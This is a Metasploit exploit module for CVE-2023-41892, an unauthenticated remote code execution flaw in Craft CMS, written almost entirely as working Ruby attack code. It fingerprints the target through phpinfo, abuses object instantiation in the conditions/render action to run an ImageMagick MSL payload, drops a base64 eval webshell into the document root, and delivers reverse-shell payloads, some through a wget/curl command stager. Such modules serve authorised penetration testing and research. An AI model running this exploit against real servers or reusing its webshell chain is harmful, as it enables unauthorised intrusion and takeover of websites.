## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Craft CMS unauthenticated Remote Code Execution (RCE)', 'Description' => %q{ This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application. The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system. Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating system as the user that the web services are running as (typically www-data). }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module 'Thanh', # discovery 'chybeta' # poc ], 'References' => [ [ 'CVE', '2023-41892' ], [ 'URL', 'https://blog.calif.io/p/craftcms-rce' ], [ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ], [ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ], [ 'URL', 'https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892' ], ], 'License' => MSF_LICENSE, 'Platform' => [ 'unix', 'linux', 'php' ], 'Privileged' => false, 'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-09-13', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'Craft CMS base url', '/' ]), OptString.new('WEBSHELL', [ false, 'The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.', '' ]), OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0]) ] ) end def check_phpinfo # checks vulnerability running phpinfo() and returns upload_tmp_dir and DOCUMENT_ROOT @config = { 'upload_tmp_dir' => nil, 'document_root' => nil } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'conditions/render', 'configObject[class]' => 'craft\elements\conditions\ElementCondition', 'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}' } }) if res && res.body # parse HTML to find the upload directory and the document root provided by phpinfo command output html = res.get_html_document unless html.blank? tr_items = html.css('tr td') tr_items.each_with_index do |item, i| next if tr_items[i + 1].nil? if item.text.casecmp?('upload_tmp_dir') if tr_items[i + 1].text.casecmp?('no value') @config['upload_tmp_dir'] = '/tmp' else @config['upload_tmp_dir'] = tr_items[i + 1].text.strip end end @config['document_root'] = tr_items[i + 1].text.strip if item.text.casecmp?('$_SERVER[\'DOCUMENT_ROOT\']') end end end end def upload_webshell # randomize file name if option WEBSHELL is not set if datastore['WEBSHELL'].blank? @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" else @webshell_name = datastore['WEBSHELL'].to_s end # select webshell depending on the target setting (PHP or others). @post_param = Rex::Text.rand_text_alphanumeric(1..8) @get_param = Rex::Text.rand_text_alphanumeric(1..8) if target['Type'] == :php # create the MSL payload # payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>" payload = <<~EOS <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:&lt;?php @eval(base64_decode($_POST[\'#{@post_param}\'])); ?&gt;" /> <write filename="info:#{@config['document_root']}/#{@webshell_name}" /> </image> EOS else # create the MSL payload # payload = "<?=#{datastore['COMMAND']}(base64_decode($_POST[\'#{@post_param}\']));?>" payload = <<~EOS <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:&lt;?=#{datastore['COMMAND']}(base64_decode($_POST[\'#{@post_param}\'])); ?&gt;" /> <write filename="info:#{@config['document_root']}/#{@webshell_name}" /> </image> EOS end # construct multipart form data with Imagick MSL payload form_data = Rex::MIME::Message.new form_data.add_part('conditions/render', nil, nil, 'form-data; name="action"') form_data.add_part('craft\elements\conditions\ElementCondition', nil, nil, 'form-data; name="configObject[class]"') form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}', nil, nil, 'form-data; name="config"') form_data.add_part(payload, 'text/plain', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4..8)}\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.msl\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }) if res && res.code == 502 # code 502 indicates a successful upload of the MSL payload in upload_tmp_dir (default /tmp unless specified in php.ini) # next step is to generate the webshell in DOCUMENT_ROOT by executing the Imagick MSL payload res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'conditions/render', 'configObject[class]' => 'craft\elements\conditions\ElementCondition', 'config' => "{\"name\":\"configObject\",\"as \":{\"class\":\"Imagick\", \"__construct()\":{\"files\":\"vid:msl:#{@config['upload_tmp_dir']}/php*\"}}}" } }) # code 502 indicates a successful generation of the webshell in DOCUMENT_ROOT return res&.code == 502 end false end def execute_command(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @post_param => payload } }) end def on_new_session(session) # cleanup webshell in DOCUMENT_ROOT register_files_for_cleanup("#{@config['document_root']}/#{@webshell_name}") # Imagick plugin generates a php<random chars> file with MSL code in the directory set by # the PHP ini setting "upload_tmp_dir". This file gets executed to generate the webshell. # A manual cleanup procedure is required to identify and remove the php* files when the session is established. if session.type == 'meterpreter' session.fs.dir.chdir(@config['upload_tmp_dir'].to_s) clean_files = session.fs.dir.entries else clean_files = session.shell_command_token("cd #{@config['upload_tmp_dir']};ls php*").split(' ') end unless clean_files.blank? clean_files.each do |f| register_files_for_cleanup("#{@config['upload_tmp_dir']}/#{f}") if f.match(/^php+/) end end super end def check check_phpinfo return CheckCode::Appears unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil? CheckCode::Safe end def exploit # check if upload_tmp_dir and document_root is already initialized with AutoCheck set otherwise run check_phpinfo check_phpinfo unless datastore['AutoCheck'] fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :php, :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 65536) end end end